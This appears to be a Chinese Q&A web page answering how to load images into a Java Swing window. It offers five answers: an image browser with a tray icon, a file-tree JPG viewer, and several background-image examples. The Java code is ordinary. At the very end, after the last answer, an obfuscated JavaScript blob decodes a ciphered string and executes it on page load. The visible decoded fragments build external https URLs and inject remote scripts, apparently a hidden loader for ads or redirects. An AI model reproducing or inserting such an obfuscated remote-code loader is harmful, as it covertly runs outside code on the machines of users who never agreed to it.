java窗口中加载图片?

2025-02-24 06:17:30
推荐回答(5个)
回答1:

我刚好写了个浏览图片的。你看有帮助就改改好了

import java.awt.AWTException;
import java.awt.BorderLayout;
import java.awt.FlowLayout;
import java.awt.Image;
import java.awt.MenuItem;
import java.awt.PopupMenu;
import java.awt.Rectangle;
import java.awt.SystemTray;
import java.awt.Toolkit;
import java.awt.TrayIcon;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.File;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;

import javax.swing.BorderFactory;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPopupMenu;
import javax.swing.JToolBar;
import javax.swing.UIManager;
import javax.swing.filechooser.FileNameExtensionFilter;

public class Picture extends JFrame{
/**
*
*/
private static final long serialVersionUID = 1L;
/**
*
*/

private JPanel state;//状态面板
private JLabel statebar;
private JLabel timebar;
private JPanel client;//中间客户区
private JLabel pic;//图片标签
private TimeThread timethread;
private JToolBar jtoolbar;
private URL[] filepath;

public Picture(String str) throws AWTException
{
super(str);
//windows风格
try { // 使用Windows的界面风格
UIManager.setLookAndFeel("com.sun.java.swing.plaf.windows.WindowsLookAndFeel");
} catch (Exception e) {
e.printStackTrace();
}

//菜单栏
JMenuBar Menubar=new JMenuBar();
JMenu MenuFile = new JMenu("文件(F)");
MenuFile.setMnemonic('F');
JMenu MenuAbout = new JMenu("关于(H)");
MenuAbout.setMnemonic('H');
Menubar.add(MenuFile);
Menubar.add(MenuAbout);
//菜单项
JMenuItem OpenItem = new JMenuItem("打开图片文件(O)",'O');
OpenItem.setMnemonic('o');
JMenuItem LoadItem = new JMenuItem("批量导入图片(L)",'L');
LoadItem.setMnemonic('L');
JMenuItem ExitItem = new JMenuItem("退出(X)",'X');
ExitItem.setMnemonic('X');
JMenuItem AboutItem = new JMenuItem("关于(A)",'A');
AboutItem.setMnemonic('A');
MenuFile.add(OpenItem);
MenuFile.add(ExitItem);
MenuAbout.add(AboutItem);

//菜单项选项时间注册
OpenItem.addActionListener(new ActionListener()
{

public void actionPerformed(ActionEvent e) {
// TODO 自动生成方法存根
openfile();
}
});
ExitItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e){
System.exit(0);
}
});

if (!SystemTray.isSupported())
{
System.out.println("SystemTray is not supported");
return;
}
SystemTray tray = SystemTray.getSystemTray();
Toolkit toolkit = Toolkit.getDefaultToolkit();
Image image = toolkit.getImage("image/tray.gif");
PopupMenu menu = new PopupMenu();
MenuItem ExitItemTray=new MenuItem("退出");
ExitItemTray.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e){
System.exit(0);
}
});

menu.add(ExitItemTray);
TrayIcon icon = new TrayIcon(image,"图片浏览器");
icon.setImageAutoSize(true);
icon.setPopupMenu(menu);
tray.add(icon);

AboutItem.addActionListener(new ActionListener(){

public void actionPerformed(ActionEvent e) {
// TODO 自动生成方法存根
showhelp();
}

});
this.setDefaultCloseOperation(EXIT_ON_CLOSE);

//设置菜单栏
super.setJMenuBar(Menubar);

timebar=new JLabel();
// 时间线程
timethread =new TimeThread();
timethread.start();
//状态栏信息栏
statebar=new JLabel();
statebar.setText("未选定");

client=new JPanel();
add(client,BorderLayout.CENTER);
client.setBorder(BorderFactory.createTitledBorder(""));
pic =new JLabel();
client.add(pic,BorderLayout.CENTER);
pic.setSize(client.getWidth()-200, client.getHeight());

state = new JPanel();
add(state,BorderLayout.SOUTH);//状态栏
state.setBorder(BorderFactory.createTitledBorder(""));
//状态栏两个面板
state.add(timebar);
timebar.setBorder(BorderFactory.createTitledBorder(""));
state.setLayout(new FlowLayout(FlowLayout.LEFT));
state.add(statebar);

jtoolbar = new JToolBar();

JButton jb_next=new JButton("上一个");

jb_next.addActionListener(new ActionListener (){

public void actionPerformed(ActionEvent e) {

}

});
JButton jb_pre=new JButton("下一个");

JButton jb_play=new JButton("播 放");

jtoolbar.add(jb_next);
jtoolbar.add(jb_pre);
jtoolbar.add(jb_play);
add(jtoolbar,BorderLayout.NORTH);

setSize(700,400);//窗口大小
setLocation(Toolkit.getDefaultToolkit().getScreenSize().width/2-350,150);//设置位置

setVisible(true);//显示
}

//打开图片
public void openfile()
{
JFileChooser f = new JFileChooser(); // 查找文件
FileNameExtensionFilter filter = new FileNameExtensionFilter(
"图片文件(*.jpg,*.gif,*.png)", "jpg", "gif","png");
f.setFileFilter(filter);
f.showOpenDialog(this);
File[] files=new File[100];

files=f.getSelectedFile().listFiles();

ImageIcon img=new ImageIcon(f.getSelectedFile().getPath());
pic.setIcon(img);

statebar.setText("像素大小: "+img.getIconWidth()+"*"+img.getIconHeight()+" 文件位置: "+
f.getSelectedFile().getPath().toString()+" 文件大小: "+f.getSelectedFile().length()/1024+"KB"
);

}

//显示帮助
public void showhelp()
{
JOptionPane.showMessageDialog(this,"这是一款简单的图片浏览器"+"\n"+
"虽然只能进行图片阅览"+"\n"+"以后改进\n"+"作者:lqqnjust");
}
//主函数
public static void main(String[] args) throws Exception {
// TODO 自动生成方法存根

new Picture("图片浏览");
}
//时间线程类
public class TimeThread extends Thread
{
public void run()
{
//不停循环时间刷新
while(true){
Date d=new Date();//获取时间
SimpleDateFormat sdf=new SimpleDateFormat("kk:mm:ss");//转换格式
timebar.setText(sdf.format(d));
try{
Thread.sleep(1000);//1s执行一次
}catch(InterruptedException e)
{
e.printStackTrace();
}
}
}
}
//托盘类
public class CreateTray
{
private CreateTray(){}
private CreateTray ct=null;
/** *//**创建单实列*/
public CreateTray getInstance()
{
//因为使用了判断语句,所以要用getInstance()方法
if(ct==null)
{
ct=new CreateTray();
}
return ct;
}
}

}

回答2:

文件一:
import java.awt.Component;
import java.awt.Cursor;
import java.io.File;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Collections;
import javax.swing.JTree;
import javax.swing.event.TreeExpansionEvent;
import javax.swing.event.TreeExpansionListener;
import javax.swing.filechooser.FileSystemView;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeCellRenderer;
import javax.swing.tree.DefaultTreeModel;
import javax.swing.tree.TreePath;

public class JFileTree extends JTree implements Serializable {
public static final FileSystemView fileSystemView = FileSystemView
.getFileSystemView();
DefaultTreeModel treeModel;

/**
* 指定过滤器的文件树
*
* @param filter
* FileFilter 指定过滤器
*/
public JFileTree(java.io.FileFilter filter) {
FileNode root = new FileNode(fileSystemView.getRoots()[0], filter);
treeModel = new DefaultTreeModel(root);
root.explore();
treeModel.nodeStructureChanged(root);
this.setModel(treeModel);
addTreeExpansionListener(new JFileTreeExpandsionListener());
setCellRenderer(new JFileTreeCellRenderer());
}

/**
* 取得当前选择的节点
*
* @return FileNode
*/
public FileNode getSelectFileNode() {
TreePath path = getSelectionPath();
if (path == null || path.getLastPathComponent() == null) {
return null;
}
return (FileNode) path.getLastPathComponent();
}

/**
* 取得当前选择的文件或目录
*
* @return File
*/
public File getSelectFile() {
FileNode node = getSelectFileNode();
return node == null ? null : node.getFile();
}

class JFileTreeCellRenderer extends DefaultTreeCellRenderer {
public Component getTreeCellRendererComponent(JTree tree, Object value,
boolean sel, boolean expanded, boolean leaf, int row,
boolean hasFocus) {
super.getTreeCellRendererComponent(tree, value, sel, expanded,
leaf, row, hasFocus);
try {
closedIcon = fileSystemView.getSystemIcon(((FileNode) value)
.getFile());
openIcon = closedIcon;
setIcon(closedIcon);
} catch (Exception ex) {
}
return this;
}
}

class JFileTreeExpandsionListener implements TreeExpansionListener {
public JFileTreeExpandsionListener() {
}

public void treeExpanded(TreeExpansionEvent event) {
TreePath path = event.getPath();
if (path == null || path.getLastPathComponent() == null)
return;
setCursor(new Cursor(Cursor.WAIT_CURSOR));
FileNode node = (FileNode) path.getLastPathComponent();
node.explore();
JTree tree = (JTree) event.getSource();
DefaultTreeModel treeModel = (DefaultTreeModel) tree.getModel();
treeModel.nodeStructureChanged(node);
setCursor(new Cursor(Cursor.DEFAULT_CURSOR));
}

public void treeCollapsed(TreeExpansionEvent event) {
}
}

public static class FileNode extends DefaultMutableTreeNode {
private boolean explored = false;
private java.io.FileFilter filter = null;

public FileNode(File file, java.io.FileFilter filter) {
this.filter = filter;
setUserObject(file);
}

public boolean getAllowsChildren() {
return isDirectory();
}

public boolean isDirectory() {
return !isLeaf();
}

public boolean isLeaf() {
return getFile().isFile();
}

public File getFile() {
return (File) getUserObject();
}

public boolean isExplored() {
return explored;
}

public void setExplored(boolean b) {
explored = b;
}

public String toString() {
if (getFile() instanceof File)
return fileSystemView.getSystemDisplayName((File) getFile());
else
return getFile().toString();
}

/**
* 展开节点
*/
public void explore() {
if (!explored) {
explored = true;
File file = getFile();
File[] children = file.listFiles();
if (children == null || children.length == 0) {
return;
}
// 过滤后排序,选加入排序后的目录, 再加入排序后的文件
ArrayList listDir = new ArrayList();
ArrayList listFile = new ArrayList();
for (int i = 0; i < children.length; ++i) {
File f = children[i];
if (filter.accept(f)) {
if (f.isDirectory()) {
listDir.add(f);
} else {
listFile.add(f);
}
}
}
Collections.sort(listDir);
Collections.sort(listFile);
for (int i = 0; i < listDir.size(); i++) {
add(new FileNode((File) listDir.get(i), filter));
}
for (int i = 0; i < listFile.size(); i++) {
add(new FileNode((File) listFile.get(i), filter));
}
}
}
}
}

文件二
import java.awt.Container;
import java.awt.Dimension;
import java.awt.Graphics;
import java.awt.Toolkit;
import java.io.File;
import java.io.FileFilter;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JSplitPane;
import javax.swing.event.TreeSelectionEvent;
import javax.swing.event.TreeSelectionListener;

public class PictShow extends JFrame {
private ImageIcon icon = new ImageIcon();
private JPanel pictPanel;
private JFileTree pictTree;

public PictShow() throws Exception {
super("JPG图片资源管理器");
buildFrame();
}

private void buildFrame() throws Exception {
Container container = getContentPane();
JSplitPane split = new JSplitPane();

pictPanel = new JPanel() {// 显示图片的面板
protected void paintComponent(Graphics g) {
super.paintComponent(g);
g.drawImage(icon.getImage(), 10, 10, null);
}
};

JScrollPane scroll=new JScrollPane();
scroll.setViewportView(pictPanel);
split.add(scroll, JSplitPane.RIGHT);

pictTree = new JFileTree(new FileFilter() {
public boolean accept(File pathname) {
if (pathname != null) {
if (pathname.isDirectory()) {
return true;
}
String name = pathname.getName().toLowerCase();
return name.endsWith(".jpg");
}

return false;
}
});

pictTree.addTreeSelectionListener( //添加监听器
new TreeSelectionListener() {
public void valueChanged(TreeSelectionEvent e) {
File file = pictTree.getSelectFile();
if (file != null && file.isFile()
&& file.getName().toLowerCase().endsWith(".jpg")) {
icon = new ImageIcon(file.getAbsolutePath());
pictPanel.setPreferredSize(new Dimension(icon.getIconWidth(),icon.getIconHeight()));
pictPanel.revalidate();
pictPanel.repaint();
}
}
}
);

split.add(new JScrollPane(pictTree), JSplitPane.LEFT); //将显示图片的面板添加到split中
setSize(800, 600);
split.setDividerLocation((int)(getSize().width*0.3));

container.add(split); //将split添加到容器用于显示
//屏幕居中
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
Dimension frameSize = getSize();
setLocation((screenSize.width-frameSize.width)/2 , (screenSize.height-frameSize.height)/2);
setVisible(true);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}

public static void main(String[] args) throws Exception {
new PictShow();
}
}

回答3:

看在50分面子上...从网上找的...
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;

public class Test
{

private JFrame frame = new JFrame("背景图片测试");

private JPanel imagePanel ;

private ImageIcon background;

public static void main(String[] args)
{
new Test();
}

public Test()
{
background = new ImageIcon("1.jpg");//背景图片
JLabel label = new JLabel(background);//把背景图片显示在一个标签里面
// 把标签的大小位置设置为图片刚好填充整个面板
label.setBounds(0,0,background.getIconWidth(),background.getIconHeight());
// 把内容窗格转化为JPanel,否则不能用方法setOpaque()来使内容窗格透明
imagePanel = (JPanel)frame.getContentPane();
imagePanel.setOpaque(false);
// 内容窗格默认的布局管理器为BorderLayout
imagePanel.setLayout(new FlowLayout());
JButton b=new JButton("测试按钮");
imagePanel.add(b);
b.setOpaque(false);
frame.getLayeredPane().setLayout(null);
// 把背景图片添加到分层窗格的最底层作为背景
frame.getLayeredPane().add(label,new Integer(Integer.MIN_VALUE));
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setSize(background.getIconWidth(),background.getIconHeight());
frame.setVisible(true);
}
}

回答4:

//-----这个是把图片当成背景用 希望对你有用

import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.Graphics;
import java.awt.Image;
import javax.swing.GrayFilter;
import javax.swing.*;

public class 背景图片 extends JFrame {
public 背景图片()
{
this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
final ImageIcon imageIcon = new ImageIcon("Sunset.jpg"); //图片路径
JPanel p = new JPanel() {
Image image = imageIcon.getImage();

Image grayImage = GrayFilter.createDisabledImage(image);
{
setOpaque(false);
}
public void paint(Graphics g) {
g.drawImage(imageIcon.getImage(), 0, 0, this.getWidth(),this.getHeight(),this);
super.paint(g);
}
};
JScrollPane scrollPane = new JScrollPane(p);
Container content = this.getContentPane();
content.add(scrollPane, BorderLayout.CENTER);
this.setSize(500,400);
this.setVisible(true);
}

public static void main(String[] args)
{
背景图片 m=new 背景图片();
m.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}

}

回答5:

public class TestFrame {

public static void main(String[] args) {
new TestFrame().init();
}

private void init() {
JFrame frame = new JFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setBounds(0, 0, 800, 600);
JLabel label = new JLabel();
label.setSize(800, 600);
label.setIcon(new javax.swing.ImageIcon("D:\\Backup\\我的文档\\My Pictures\\20070804115158926.jpg")); // NOI18N
frame.getContentPane().add(label);
frame.setVisible(true);
}
}

label.setIcon(new javax.swing.ImageIcon("D:\\Backup\\我的文档\\My Pictures\\20070804115158926.jpg"));这一大段是图片路径,注意是双斜杠啊。
另外这个问题最麻烦的是怎么读图片,你也可以用ImageIO来读图,详细看下api。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();